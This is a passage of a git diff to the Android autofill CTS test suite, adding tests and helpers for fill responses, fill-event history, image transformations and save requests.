+ final FillResponse.Builder builder3 =
+ new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation);
+ assertThrows(IllegalStateException.class, () -> builder3.disableAutofill(mDisableDuration));
+ final FillResponse.Builder builder4 =
+ new FillResponse.Builder().setFieldClassificationIds(mAutofillId);
+ assertThrows(IllegalStateException.class, () -> builder4.disableAutofill(mDisableDuration));
+ final FillResponse.Builder builder5 =
+ new FillResponse.Builder().setClientState(mClientState);
+ assertThrows(IllegalStateException.class, () -> builder5.disableAutofill(mDisableDuration));
+ }
+
+ @Test
+ public void testBuilder_setFieldClassificationIds_invalid() {
+ assertThrows(NullPointerException.class,
+ () -> mBuilder.setFieldClassificationIds((AutofillId) null));
+ assertThrows(NullPointerException.class,
+ () -> mBuilder.setFieldClassificationIds((AutofillId[]) null));
+ final AutofillId[] oneTooMany =
+ new AutofillId[UserData.getMaxFieldClassificationIdsSize() + 1];
+ for (int i = 0; i < oneTooMany.length; i++) {
+ oneTooMany[i] = new AutofillId(i);
+ }
+ assertThrows(IllegalArgumentException.class,
+ () -> mBuilder.setFieldClassificationIds(oneTooMany));
+ }
+
+ @Test
+ public void testBuilder_setFieldClassificationIds_valid() {
+ mBuilder.setFieldClassificationIds(mAutofillId);
+ }
+
+ @Test
+ public void testBuild_invalid() {
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ }
+
+ @Test
+ public void testBuild_valid() {
+ // authentication only
+ assertThat(new FillResponse.Builder().setAuthentication(mIds, mIntentSender, mPresentation)
+ .build()).isNotNull();
+ // save info only
+ assertThat(new FillResponse.Builder().setSaveInfo(mSaveInfo).build()).isNotNull();
+ // dataset only
+ assertThat(new FillResponse.Builder().addDataset(mDataset).build()).isNotNull();
+ // disable autofill only
+ assertThat(new FillResponse.Builder().disableAutofill(mDisableDuration).build())
+ .isNotNull();
+ // fill detection only
+ assertThat(new FillResponse.Builder().setFieldClassificationIds(mAutofillId).build())
+ .isNotNull();
+ // client state only
+ assertThat(new FillResponse.Builder().setClientState(mClientState).build())
+ .isNotNull();
+ }
+
+ @Test
+ public void testNoMoreInteractionsAfterBuild() {
+ assertThat(mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build())
+ .isNotNull();
+
+ assertThrows(IllegalStateException.class, () -> mBuilder.build());
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setAuthentication(mIds, mIntentSender, mPresentation).build());
+ assertThrows(IllegalStateException.class, () -> mBuilder.setIgnoredIds(mIds));
+ assertThrows(IllegalStateException.class, () -> mBuilder.addDataset(null));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setSaveInfo(mSaveInfo));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setClientState(mClientState));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setFlags(0));
+ assertThrows(IllegalStateException.class,
+ () -> mBuilder.setFieldClassificationIds(mAutofillId));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
index 33321c7..29af4a2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/GridActivity.java
@@ -83,7 +83,7 @@
getSystemService(AutofillManager.class).cancel();
}
- private EditText getCell(int row, int column) {
+ EditText getCell(int row, int column) {
return mCells[row - 1][column - 1];
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index c1a70f0..c95e74e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -20,6 +20,11 @@
import static android.autofillservice.cts.UiBot.PORTRAIT;
import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
+import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -30,7 +35,9 @@
import android.content.Context;
import android.content.pm.PackageManager;
import android.icu.util.Calendar;
+import android.os.Bundle;
import android.service.autofill.FillContext;
+import android.service.autofill.FillEventHistory;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.test.InstrumentationRegistry;
@@ -45,7 +52,9 @@
import com.android.compatibility.common.util.SystemUtil;
+import java.lang.reflect.Field;
import java.util.List;
+import java.util.Map;
import java.util.function.Function;
/**
@@ -63,6 +72,15 @@
static final String ID_PASSWORD = "password";
static final String ID_LOGIN = "login";
static final String ID_OUTPUT = "output";
+ static final String ID_STATIC_TEXT = "static_text";
+
+ public static final String NULL_DATASET_ID = null;
+
+ /**
+ * Can be used in cases where the autofill values is required by irrelevant (like adding a
+ * value to an authenticated dataset).
+ */
+ public static final String UNUSED_AUTOFILL_VALUE = null;
private static final String CMD_LIST_SESSIONS = "cmd autofill list sessions";
@@ -97,6 +115,16 @@
static final int UI_TIMEOUT_MS = 2000;
/**
+ * Timeout (in milliseconds) for showing the autofill dataset picker UI.
+ *
+ * <p>The value is usually higher than {@link #UI_TIMEOUT_MS} because the performance of the
+ * dataset picker UI can be affect by external factors in some low-level devices.
+ *
+ * <p>Typically used by {@link UiBot}.
+ */
+ static final int UI_DATASET_PICKER_TIMEOUT_MS = 4000;
+
+ /**
* Timeout (in milliseconds) for an activity to be brought out to top.
*/
static final int ACTIVITY_RESURRECTION_MS = 5000;
@@ -133,21 +161,20 @@
return id.equals(getHtmlName(node));
};
+ private static final NodeFilter HTML_NAME_OR_RESOURCE_ID_FILTER = (node, id) -> {
+ return id.equals(getHtmlName(node)) || id.equals(node.getIdEntry());
+ };
+
private static final NodeFilter TEXT_FILTER = (node, id) -> {
return id.equals(node.getText());
};
- private static final NodeFilter WEBVIEW_ROOT_FILTER = (node, id) -> {
- // TODO(b/66953802): class name should be android.webkit.WebView, and form name should be
- // inside HtmlInfo, but Chromium 61 does not implement that.
+ private static final NodeFilter WEBVIEW_FORM_FILTER = (node, id) -> {
final String className = node.getClassName();
- final String formName;
- if (className.equals("android.webkit.WebView")) {
- final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
- formName = getAttributeValue(htmlInfo, "name");
- } else {
- formName = className;
- }
+ if (!className.equals("android.webkit.WebView")) return false;
+
+ final HtmlInfo htmlInfo = assertHasHtmlTag(node, "form");
+ final String formName = getAttributeValue(htmlInfo, "name");
return id.equals(formName);
};
@@ -390,6 +417,14 @@
}
/**
+ * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
+ * not found.
+ */
+ static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
+ return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
+ }
+
+ /**
* Gets the {@code name} attribute of a node representing an HTML input tag.
*/
@Nullable
@@ -448,7 +483,6 @@
/**
* Asserts the contents of a text-based node that is also auto-fillable.
- *
*/
static void assertTextOnly(ViewNode node, String expectedValue) {
assertText(node, expectedValue, false);
@@ -456,7 +490,6 @@
/**
* Asserts the contents of a text-based node that is also auto-fillable.
- *
*/
static void assertTextAndValue(ViewNode node, String expectedValue) {
assertText(node, expectedValue, true);
@@ -483,15 +516,16 @@
}
private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
- assertWithMessage("wrong text on %s", node).that(node.getText().toString())
+ assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
.isEqualTo(expectedValue);
final AutofillValue value = node.getAutofillValue();
+ final AutofillId id = node.getAutofillId();
if (isAutofillable) {
- assertWithMessage("null auto-fill value on %s", node).that(value).isNotNull();
- assertWithMessage("wrong auto-fill value on %s", node)
+ assertWithMessage("null auto-fill value on %s", id).that(value).isNotNull();
+ assertWithMessage("wrong auto-fill value on %s", id)
.that(value.getTextValue().toString()).isEqualTo(expectedValue);
} else {
- assertWithMessage("node %s should not have AutofillValue", node).that(value).isNull();
+ assertWithMessage("node %s should not have AutofillValue", id).that(value).isNull();
}
}
@@ -500,9 +534,10 @@
*/
static ViewNode assertTextValue(ViewNode node, String expectedText) {
final AutofillValue value = node.getAutofillValue();
- assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
- assertWithMessage("wrong autofill type on %s", node).that(value.isText()).isTrue();
- assertWithMessage("wrong autofill value on %s", node).that(value.getTextValue().toString())
+ final AutofillId id = node.getAutofillId();
+ assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+ assertWithMessage("wrong autofill type on %s", id).that(value.isText()).isTrue();
+ assertWithMessage("wrong autofill value on %s", id).that(value.getTextValue().toString())
.isEqualTo(expectedText);
return node;
}
@@ -512,9 +547,10 @@
*/
static ViewNode assertListValue(ViewNode node, int expectedIndex) {
final AutofillValue value = node.getAutofillValue();
- assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
- assertWithMessage("wrong autofill type on %s", node).that(value.isList()).isTrue();
- assertWithMessage("wrong autofill value on %s", node).that(value.getListValue())
+ final AutofillId id = node.getAutofillId();
+ assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+ assertWithMessage("wrong autofill type on %s", id).that(value.isList()).isTrue();
+ assertWithMessage("wrong autofill value on %s", id).that(value.getListValue())
.isEqualTo(expectedIndex);
return node;
}
@@ -524,9 +560,10 @@
*/
static void assertToggleValue(ViewNode node, boolean expectedToggle) {
final AutofillValue value = node.getAutofillValue();
- assertWithMessage("null autofill value on %s", node).that(value).isNotNull();
- assertWithMessage("wrong autofill type on %s", node).that(value.isToggle()).isTrue();
- assertWithMessage("wrong autofill value on %s", node).that(value.getToggleValue())
+ final AutofillId id = node.getAutofillId();
+ assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
+ assertWithMessage("wrong autofill type on %s", id).that(value.isToggle()).isTrue();
+ assertWithMessage("wrong autofill value on %s", id).that(value.getToggleValue())
.isEqualTo(expectedToggle);
}
@@ -855,6 +892,50 @@
return InstrumentationRegistry.getInstrumentation().getContext();
}
+ private static Field getField(Class<?> clazz, String fieldName) {
+ final Field[] fields = clazz.getDeclaredFields();
+ final StringBuilder fieldNames = new StringBuilder();
+ for (Field field : fields) {
+ fieldNames.append(field.getName()).append(" ");
+ field.setAccessible(true);
+ if (field.getName().equals(fieldName)) {
+ return field;
+ }
+ }
+ throw new IllegalArgumentException(
+ "no field " + fieldName + " on " + clazz.getName() + ": " + fieldNames);
+ }
+
+ /**
+ * Uses reflection to get a field from an object.
+ */
+ static <T> T getField(Object object, String fieldName) {
+ try {
+ final Class<?> clazz = object.getClass();
+ final Field field = getField(clazz, fieldName);
+ @SuppressWarnings("unchecked")
+ final T value = (T) field.get(object);
+ return value;
+ } catch (Exception e) {
+ throw new IllegalArgumentException(
+ "error getting field " + fieldName + " from object" + object, e);
+ }
+ }
+
+ /**
+ * Uses reflection to set a field in an object.
+ */
+ static void setField(Object object, String fieldName, Object value) {
+ try {
+ final Class<?> clazz = object.getClass();
+ final Field field = getField(clazz, fieldName);
+ field.set(object, value);
+ } catch (Exception e) {
+ throw new IllegalArgumentException("error setting field " + fieldName + " on object "
+ + object, e);
+ }
+ }
+
/**
* Cleans up the autofill state; should be called before pretty much any test.
*/
@@ -907,15 +988,191 @@
/**
* Finds a {@link WebView} node given its expected form name.
*/
- public static ViewNode findWebViewNode(AssistStructure structure, String formName) {
- return findNodeByFilter(structure, formName, WEBVIEW_ROOT_FILTER);
+ public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
+ return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
+ }
+
+ private static void assertClientState(Object container, Bundle clientState,
+ String key, String value) {
+ assertWithMessage("'%s' should have client state", container)
+ .that(clientState).isNotNull();
+ assertWithMessage("Wrong number of client state extras on '%s'", container)
+ .that(clientState.keySet().size()).isEqualTo(1);
+ assertWithMessage("Wrong value for client state key (%s) on '%s'", key, container)
+ .that(clientState.getString(key)).isEqualTo(value);
}
/**
- * Finds a {@link WebView} node given its expected form name.
+ * Asserts the content of a {@link FillEventHistory#getClientState()}.
+ *
+ * @param history event to be asserted
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
*/
- public static ViewNode findWebViewNode(ViewNode node, String formName) {
- return findNodeByFilter(node, formName, WEBVIEW_ROOT_FILTER);
+ @SuppressWarnings("javadoc")
+ public static void assertDeprecatedClientState(@NonNull FillEventHistory history,
+ @NonNull String key, @NonNull String value) {
+ assertThat(history).isNotNull();
+ @SuppressWarnings("deprecation")
+ final Bundle clientState = history.getClientState();
+ assertClientState(history, clientState, key, value);
+ }
+
+ /**
+ * Asserts the {@link FillEventHistory#getClientState()} is not set.
+ *
+ * @param history event to be asserted
+ */
+ @SuppressWarnings("javadoc")
+ public static void assertNoDeprecatedClientState(@NonNull FillEventHistory history) {
+ assertThat(history).isNotNull();
+ @SuppressWarnings("deprecation")
+ final Bundle clientState = history.getClientState();
+ assertWithMessage("History '%s' should not have client state", history)
+ .that(clientState).isNull();
+ }
+
+ /**
+ * Asserts the content of a {@link android.service.autofill.FillEventHistory.Event}.
+ *
+ * @param event event to be asserted
+ * @param eventType expected type
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle (or {@code null} if it shouldn't
+ * have client state)
+ * @param value the only value expected in the client state bundle (or {@code null} if it
+ * shouldn't have client state)
+ */
+ // TODO(b/67867469): document detected args
+ private static void assertFillEvent(@NonNull FillEventHistory.Event event,
+ int eventType, @Nullable String datasetId,
+ @Nullable String key, @Nullable String value,
+ @Nullable String detectedRemoteId, int detectedScore) {
+ assertThat(event).isNotNull();
+ assertWithMessage("Wrong type for %s", event).that(event.getType()).isEqualTo(eventType);
+ if (datasetId == null) {
+ assertWithMessage("Event %s should not have dataset id", event)
+ .that(event.getDatasetId()).isNull();
+ } else {
+ assertWithMessage("Wrong dataset id for %s", event)
+ .that(event.getDatasetId()).isEqualTo(datasetId);
+ }
+ final Bundle clientState = event.getClientState();
+ if (key == null) {
+ assertWithMessage("Event '%s' should not have client state", event)
+ .that(clientState).isNull();
+ } else {
+ assertClientState(event, clientState, key, value);
+ }
+ assertWithMessage("Event '%s' should not have selected datasets", event)
+ .that(event.getSelectedDatasetIds()).isEmpty();
+ assertWithMessage("Event '%s' should not have ignored datasets", event)
+ .that(event.getIgnoredDatasetIds()).isEmpty();
+ assertWithMessage("Event '%s' should not have changed fields", event)
+ .that(event.getChangedFields()).isEmpty();
+ assertWithMessage("Event '%s' should not have manually-entered fields", event)
+ .that(event.getManuallyEnteredField()).isEmpty();
+ final Map<String, Integer> detectedFields = event.getFieldsClassification();
+ if (detectedRemoteId == null) {
+ assertThat(detectedFields).isEmpty();
+ } else {
+ assertThat(detectedFields).containsExactly(detectedRemoteId, detectedScore);
+ }
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ */
+ public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+ @Nullable String datasetId) {
+ assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, null, null, null, -1);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
+ @Nullable String datasetId, @Nullable String key, @Nullable String value) {
+ assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, key, value, null, -1);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+ @NonNull String datasetId, @NonNull String key, @NonNull String value) {
+ assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null, -1);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ */
+ public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
+ @NonNull String datasetId) {
+ assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null, -1);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
+ * event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForDatasetAuthenticationSelected(
+ @NonNull FillEventHistory.Event event,
+ @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+ assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null,
+ -1);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_AUTHENTICATION_SELECTED} event.
+ *
+ * @param event event to be asserted
+ * @param datasetId dataset set id expected in the event
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForAuthenticationSelected(
+ @NonNull FillEventHistory.Event event,
+ @Nullable String datasetId, @NonNull String key, @NonNull String value) {
+ assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null, -1);
+ }
+
+ // TODO(b/67867469): document
+ public static void assertFillEventForFieldsDetected(@NonNull FillEventHistory.Event event,
+ @NonNull String remoteId, int result) {
+ assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, remoteId, result);
+ }
+
+ // TODO(b/67867469): document
+ public static void assertFillEventForContextCommitted(@NonNull FillEventHistory.Event event) {
+ assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, null, -1);
}
private Helper() {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
index 01878ab..66e857b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/IdMode.java
@@ -21,5 +21,6 @@
*/
enum IdMode {
RESOURCE_ID,
- HTML_NAME
+ HTML_NAME,
+ HTML_NAME_OR_RESOURCE_ID
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
index e96df05..935be23 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ImageTransformationTest.java
@@ -39,30 +39,35 @@
public class ImageTransformationTest {
@Test
+ @SuppressWarnings("deprecation")
public void testAllNullBuilder() {
assertThrows(NullPointerException.class,
() -> new ImageTransformation.Builder(null, null, 0));
}
@Test
+ @SuppressWarnings("deprecation")
public void testNullAutofillIdBuilder() {
assertThrows(NullPointerException.class,
() -> new ImageTransformation.Builder(null, Pattern.compile(""), 1));
}
@Test
+ @SuppressWarnings("deprecation")
public void testNullRegexBuilder() {
assertThrows(NullPointerException.class,
() -> new ImageTransformation.Builder(new AutofillId(1), null, 1));
}
@Test
+ @SuppressWarnings("deprecation")
public void testNullSubstBuilder() {
assertThrows(IllegalArgumentException.class,
() -> new ImageTransformation.Builder(new AutofillId(1), Pattern.compile(""), 0));
}
@Test
+ @SuppressWarnings("deprecation")
public void fieldCannotBeFound() throws Exception {
AutofillId unknownId = new AutofillId(42);
@@ -82,6 +87,7 @@
}
@Test
+ @SuppressWarnings("deprecation")
public void theOneOptionsMatches() throws Exception {
AutofillId id = new AutofillId(1);
ImageTransformation trans = new ImageTransformation
@@ -99,6 +105,25 @@
}
@Test
+ public void theOneOptionsMatchesWithContentDescription() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*"), 42, "Are you content?")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("val");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setImageViewResource(0, 42);
+ verify(template).setContentDescription(0, "Are you content?");
+ }
+
+ @Test
+ @SuppressWarnings("deprecation")
public void noOptionsMatches() throws Exception {
AutofillId id = new AutofillId(1);
ImageTransformation trans = new ImageTransformation
@@ -116,6 +141,7 @@
}
@Test
+ @SuppressWarnings("deprecation")
public void multipleOptionsOneMatches() throws Exception {
AutofillId id = new AutofillId(1);
ImageTransformation trans = new ImageTransformation
@@ -134,6 +160,26 @@
}
@Test
+ public void multipleOptionsOneMatchesWithContentDescription() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*1"), 1, "Are you content?")
+ .addOption(Pattern.compile(".*2"), 2, "I am content")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("val-2");
+
+ trans.apply(finder, template, 0);
+
+ verify(template).setImageViewResource(0, 2);
+ verify(template).setContentDescription(0, "I am content");
+ }
+
+ @Test
+ @SuppressWarnings("deprecation")
public void twoOptionsMatch() throws Exception {
AutofillId id = new AutofillId(1);
ImageTransformation trans = new ImageTransformation
@@ -151,4 +197,24 @@
// If two options match, the first one is picked
verify(template, only()).setImageViewResource(0, 1);
}
+
+ @Test
+ public void twoOptionsMatchWithContentDescription() throws Exception {
+ AutofillId id = new AutofillId(1);
+ ImageTransformation trans = new ImageTransformation
+ .Builder(id, Pattern.compile(".*a.*"), 1, "Are you content?")
+ .addOption(Pattern.compile(".*b.*"), 2, "No, I'm not")
+ .build();
+
+ ValueFinder finder = mock(ValueFinder.class);
+ RemoteViews template = mock(RemoteViews.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("ab");
+
+ trans.apply(finder, template, 0);
+
+ // If two options match, the first one is picked
+ verify(template).setImageViewResource(0, 1);
+ verify(template).setContentDescription(0, "Are you content?");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
index 2c234cd..331bac2 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/InstrumentedAutoFillService.java
@@ -30,6 +30,7 @@
import android.app.assist.AssistStructure;
import android.autofillservice.cts.CannedFillResponse.CannedDataset;
import android.content.ComponentName;
+import android.content.IntentSender;
import android.os.Bundle;
import android.os.CancellationSignal;
import android.service.autofill.AutofillService;
@@ -78,7 +79,7 @@
sInstance.set(this);
}
- public static AutofillService peekInstance() {
+ public static InstrumentedAutoFillService peekInstance() {
return sInstance.get();
}
@@ -104,7 +105,7 @@
return;
}
}
- sReplier.onFillRequest(request.getFillContexts(), request.getClientState(),
+ sReplier.onFillRequest(this, request.getFillContexts(), request.getClientState(),
cancellationSignal, callback, request.getFlags());
}
@@ -118,14 +119,16 @@
return;
}
}
- sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback);
+ sReplier.onSaveRequest(request.getFillContexts(), request.getClientState(), callback,
+ request.getDatasetIds());
}
private boolean fromSamePackage(List<FillContext> contexts) {
final ComponentName component = contexts.get(contexts.size() - 1).getStructure()
.getActivityComponent();
final String actualPackage = component.getPackageName();
- if (!actualPackage.equals(getPackageName())) {
+ if (!actualPackage.equals(getPackageName())
+ && !actualPackage.equals(sReplier.mAcceptedPackageName)) {
Log.w(TAG, "Got request from package " + actualPackage);
return false;
}
@@ -216,12 +219,14 @@
* that can be asserted at the end of a test case.
*/
static final class SaveRequest {
- final List<FillContext> contexts;
- final AssistStructure structure;
- final Bundle data;
- final SaveCallback callback;
+ public final List<FillContext> contexts;
+ public final AssistStructure structure;
+ public final Bundle data;
+ public final SaveCallback callback;
+ public final List<String> datasetIds;
- private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback) {
+ private SaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+ List<String> datasetIds) {
if (contexts != null && contexts.size() > 0) {
structure = contexts.get(contexts.size() - 1).getStructure();
} else {
@@ -230,6 +235,7 @@
this.contexts = contexts;
this.data = data;
this.callback = callback;
+ this.datasetIds = datasetIds;
}
}
@@ -245,7 +251,9 @@
private final BlockingQueue<FillRequest> mFillRequests = new LinkedBlockingQueue<>();
private final BlockingQueue<SaveRequest> mSaveRequests = new LinkedBlockingQueue<>();
- private List<Exception> mExceptions;
+ private List<Throwable> mExceptions;
+ private IntentSender mOnSaveIntentSender;
+ private String mAcceptedPackageName;
private Replier() {
}
@@ -256,14 +264,18 @@
this.mIdMode = mode;
}
+ public void acceptRequestsFromPackage(String packageName) {
+ mAcceptedPackageName = packageName;
+ }
+
/**
* Gets the exceptions thrown asynchronously, if any.
*/
- @Nullable List<Exception> getExceptions() {
+ @Nullable List<Throwable> getExceptions() {
return mExceptions;
}
- private void addException(@Nullable Exception e) {
+ private void addException(@Nullable Throwable e) {
if (e == null) return;
if (mExceptions == null) {
@@ -294,6 +306,14 @@
}
/**
+ * Sets the {@link IntentSender} that is passed to
+ * {@link SaveCallback#onSuccess(IntentSender)}.
+ */
+ void setOnSave(IntentSender intentSender) {
+ mOnSaveIntentSender = intentSender;
+ }
+
+ /**
* Gets the next fill request, in the order received.
*
* <p>Typically called at the end of a test case, to assert the initial request.
@@ -356,9 +376,12 @@
mFillRequests.clear();
mSaveRequests.clear();
mExceptions = null;
+ mOnSaveIntentSender = null;
+ mAcceptedPackageName = null;
}
- private void onFillRequest(List<FillContext> contexts, Bundle data,
+ private void onFillRequest(InstrumentedAutoFillService service,
+ List<FillContext> contexts, Bundle data,
CancellationSignal cancellationSignal, FillCallback callback, int flags) {
try {
CannedFillResponse response = null;
@@ -398,13 +421,17 @@
switch (mIdMode) {
case RESOURCE_ID:
- fillResponse = response.asFillResponse(
+ fillResponse = response.asFillResponse(service,
(id) -> Helper.findNodeByResourceId(contexts, id));
break;
case HTML_NAME:
- fillResponse = response.asFillResponse(
+ fillResponse = response.asFillResponse(service,
(name) -> Helper.findNodeByHtmlName(contexts, name));
break;
+ case HTML_NAME_OR_RESOURCE_ID:
+ fillResponse = response.asFillResponse(
+ (id) -> Helper.findNodeByHtmlNameOrResourceId(contexts, id));
+ break;
default:
throw new IllegalStateException("Unknown id mode: " + mIdMode);
}
@@ -419,10 +446,15 @@
}
}
- private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback) {
- Log.d(TAG, "onSaveRequest()");
- mSaveRequests.offer(new SaveRequest(contexts, data, callback));
- callback.onSuccess();
+ private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback,
+ List<String> datasetIds) {
+ Log.d(TAG, "onSaveRequest(): sender=" + mOnSaveIntentSender);
+ mSaveRequests.offer(new SaveRequest(contexts, data, callback, datasetIds));
+ if (mOnSaveIntentSender != null) {
+ callback.onSuccess(mOnSaveIntentSender);
+ } else {
+ callback.onSuccess();
+ }
}
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 898ca84..de8e4df 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -20,10 +20,10 @@
import static android.app.Activity.RESULT_OK;
import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.UNUSED_AUTOFILL_VALUE;
import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.autofillservice.cts.Helper.assertNumberOfChildren;
import static android.autofillservice.cts.Helper.assertTextAndValue;
@@ -39,10 +39,6 @@
import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
-import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -70,7 +66,6 @@
